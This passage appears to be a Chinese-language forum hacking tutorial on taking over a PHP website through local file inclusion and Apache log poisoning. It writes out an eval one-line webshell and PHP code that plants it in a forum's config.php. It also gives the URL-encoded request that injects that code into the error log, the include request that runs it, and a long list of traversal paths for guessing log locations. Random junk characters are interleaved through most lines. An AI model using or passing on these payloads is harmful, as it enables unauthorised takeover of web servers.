因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 4 C5 i& p4 z. c S; C6 i
' ?+ r3 c( E* p: [5 g8 z5 K比如还是这句一句话木马
3 R' Y) w% m; a<?eval($_POST[cmd]);?>
1 T+ H; G' w* m+ Q
) u2 F+ @0 t S4 ]7 l到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 6 t+ r# s% {6 y- e3 D
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
; b1 F" W7 n& |! U4 w" c; S
8 E& k2 E9 O& M& p0 Z<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
- c! K$ q% ?( Q; h; B2 }3 nfclose($fp);?> //在config.php里写入一句木马语句 & T% O3 t$ X" ?! Q Y" {/ q
9 q5 F; I9 ]3 t9 y" }4 A7 d& R
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
/ n {5 E. \- L! f9 q6 r! k% {: |转换为
1 @6 [$ P+ S5 ]/ F" k%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
( M& o+ }/ z' B: J/ tconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp - m; @, U! }. [+ r
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B 6 P& z. F8 u( R2 W
fclose%28%24fp%29%3B%3F%3E * m, G m8 }1 j% i/ s7 B
我们提交 ! f8 i/ T+ \3 @
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
* A5 `0 D1 k; p* v" i# U%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
% y0 q" Y. m8 x) W%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
; d- ]; m) D7 A+ b9 A8 S [cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
: H8 ~, t; X/ {6 K1 U
p3 @# t+ @! C/ U$ E这样就错误日志里就记录下了这行写入webshell的代码。 3 L2 y; L3 |* g& p3 D4 ]
我们再来包含日志,提交
1 |" ~4 Y6 u' U7 C) ghttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
) O, `% i; _2 w L5 m+ s+ F; f% V& M) o7 h$ X& j- a# p
这样webshell就写入成功了,config.php里就写入一句木马语句
8 b8 i& {9 F/ R$ h$ M9 Q& MOK.
" V k# P4 {; Chttp://www.xxx.com/forum/config.php这个就成了我们的webshell
0 o4 x' b m7 h8 I' |4 E- k直接用lanker的客户端一连,主机就是你的了。
6 _+ Y" |4 J7 y/ p: p/ M( P' O/ t" h9 T* a
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
- o" j: R% u# n. i: l. h- X8 k' X. r. ]; ?
其他的日志路径,你可以去猜,也可以参照这里。
3 P4 ~* \7 c) J* C3 s) s2 n../../../../../../../../../../var/log/httpd/access_log + W) Z" R# h8 L$ ?, y
../../../../../../../../../../var/log/httpd/error_log 2 {* @$ S, |$ |, y; ?7 G
../apache/logs/error.log - h0 f$ x ^& F; N5 I
../apache/logs/access.log ' Z4 g% {+ u: a1 W) f# V
../../apache/logs/error.log * o5 I+ J' d' m' O$ Z5 o8 p
../../apache/logs/access.log
. z: R" ~ V9 X../../../apache/logs/error.log M& D; f! @+ e2 T3 e! m% S2 T
../../../apache/logs/access.log
0 I0 f: r9 R& G3 s: ]' [../../../../../../../../../../etc/httpd/logs/acces_log 2 n! d2 N5 D3 s4 i; L. K
../../../../../../../../../../etc/httpd/logs/acces.log
( Q5 w9 m' S" ?$ V2 ]4 h../../../../../../../../../../etc/httpd/logs/error_log % _: m; {2 ~2 L
../../../../../../../../../../etc/httpd/logs/error.log 3 g! M; M- Z! `' Z/ o' J) I; g
../../../../../../../../../../var/www/logs/access_log
! W# h! T& c/ W! v( i. O; i../../../../../../../../../../var/www/logs/access.log 9 @& N( G% d% a* U# R4 x R
../../../../../../../../../../usr/local/apache/logs/access_log
2 T6 A2 P2 ~ |( ~- J../../../../../../../../../../usr/local/apache/logs/access.log
& G6 s3 n' o: `1 r! f3 H5 p../../../../../../../../../../var/log/apache/access_log
+ w. R' d& |$ K7 V" w5 d../../../../../../../../../../var/log/apache/access.log
. S/ B7 Y4 J: s../../../../../../../../../../var/log/access_log : U) V& ]7 `, H
../../../../../../../../../../var/www/logs/error_log 2 z( j& {( A1 O8 [# q
../../../../../../../../../../var/www/logs/error.log
1 Y. S/ g; D! [ D; r/ m$ Z: x! _0 X1 \../../../../../../../../../../usr/local/apache/logs/error_log 4 c, g) |+ E' q
../../../../../../../../../../usr/local/apache/logs/error.log " x4 d/ `9 _4 G: w' |8 x
../../../../../../../../../../var/log/apache/error_log v# \* |" o- r2 \+ a' F
../../../../../../../../../../var/log/apache/error.log 8 V6 J; S9 }/ a3 j
../../../../../../../../../../var/log/access_log 9 g" J- o0 _. A; W
../../../../../../../../../../var/log/error_log 1 z4 a2 b, @/ w
/var/log/httpd/access_log
# d# f3 F" v1 e+ V/var/log/httpd/error_log 7 d7 R; O( L! q9 A/ |4 _1 P: j) m
../apache/logs/error.log ; l- w' J) B/ Y
../apache/logs/access.log % P7 ]* ?$ ~1 r3 u5 \
../../apache/logs/error.log
: [9 G$ D8 I* ?$ I# t../../apache/logs/access.log ! e5 w R# ~- n0 c( J: }/ b+ H. t, U$ n
../../../apache/logs/error.log
$ P9 T- l6 G7 {/ S2 z" ?../../../apache/logs/access.log , a p; L" f% |+ m
/etc/httpd/logs/acces_log 8 j; |: F% b' D' I, v
/etc/httpd/logs/acces.log
2 J! P7 C4 H/ O8 B/etc/httpd/logs/error_log $ P2 T4 j* S& x* L/ W
/etc/httpd/logs/error.log 1 S8 X2 t/ t6 [/ p2 s
/var/www/logs/access_log ' i" A! f& F! Y: f' }) V% b/ }- B' v5 I
/var/www/logs/access.log 1 [! }3 ?6 b5 J0 z# h+ @0 K* B
/usr/local/apache/logs/access_log ( h- m9 x' Z: Q
/usr/local/apache/logs/access.log % G; t' q* P7 s1 I4 Y/ N9 X
/var/log/apache/access_log ' j7 [ `' q8 B1 f7 A
/var/log/apache/access.log
: X, ^% ]& }+ s) c2 C" B/var/log/access_log 8 ^/ y, m1 E+ X6 e
/var/www/logs/error_log
: F Z* @) L8 |, V5 L8 O/var/www/logs/error.log 5 R+ Y3 D- B) j# y1 @: g. w. ]
/usr/local/apache/logs/error_log 1 r; x; I& g- D1 Z% j
/usr/local/apache/logs/error.log . ?1 A* X; L# x4 Z/ d# m0 ]
/var/log/apache/error_log
4 H. F# I0 m4 {$ ?" ~4 i9 C/var/log/apache/error.log
( u F- a) v8 n+ _" b6 H/var/log/access_log ; w8 M+ C3 S! ?& z+ l) D
/var/log/error_log |